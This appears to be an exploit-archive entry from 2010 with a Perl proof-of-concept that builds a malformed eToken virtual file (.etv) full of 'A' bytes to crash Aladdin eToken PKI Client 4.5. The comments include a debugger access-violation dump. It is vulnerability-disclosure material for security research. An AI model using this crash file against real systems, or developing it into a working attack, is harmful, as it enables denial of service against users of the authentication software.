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Aladdin eToken PKI Client 4.5 Virtual File Handling Unspecified Memory Corruption

Aladdin eToken PKI Client 4.5 Virtual File Handling Unspecified Memory Corruption
Posted Apr 13, 2010
Authored by LiquidWorm

Aladdin eToken PKI client version 4.5 virtual file handling unspecific memory corruption proof of concept exploit.

tags | exploit, proof of concept
SHA-256 | 1410eed05698cfb60c901a3b0c39580e1199eec003a41b9542c0982b8f5d51f2

Aladdin eToken PKI Client 4.5 Virtual File Handling Unspecified Memory Corruption

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#!/usr/bin/perl -w
#
# Title: Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC
#
#
#
# Summary: The eToken PKI Client is the software that enables eToken USB operation and the
# implementation of eToken PKI-based solutions. These solutions include certificate-based
# strong two-factor authentication, encryption and digital signing. With the PKI Client your
# PKI solutions become highly secure, extremely convenient and portable, as you can easily and
# securely generate and store PKI keys on-board eToken smart card-based devices.
#
# Vendor: Aladdin Knowledge Systems Ltd.
# Product web page: http://www.aladdin.com
#
# Version tested: 4.5.52
# Tested on Microsoft Windows XP Professional SP3 (EN)
#
#
#
# ===================================================================================
#
# (154c.a74): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00000000 edx=01730002 esi=00000000 edi=0012fc90
# eip=0045d3d3 esp=001282b0 ebp=00128304 iopl=0 nv up ei pl nz na po nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
# *** ERROR: Module load completed but symbols could not be loaded for etProps.exe
# etProps+0x5d3d3:
# 0045d3d3 8b8ea4000000 mov ecx,dword ptr [esi+0A4h] ds:0023:000000a4=????????
#
# ===================================================================================
#
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
#
# liquidworm gmail com
#
# 11.04.2010
#
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4933.php
#


$fajl = "Aladdin.etv"; # eToken Virtual file

$djubre = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";

open etv, ">./$fajl" || die "\nCan't open $fajl: $!";
print etv $djubre x 100;
print "\n [o] Writing to file...\n";
sleep 1;
close etv;
print "\n [o] File $fajl created.\n";
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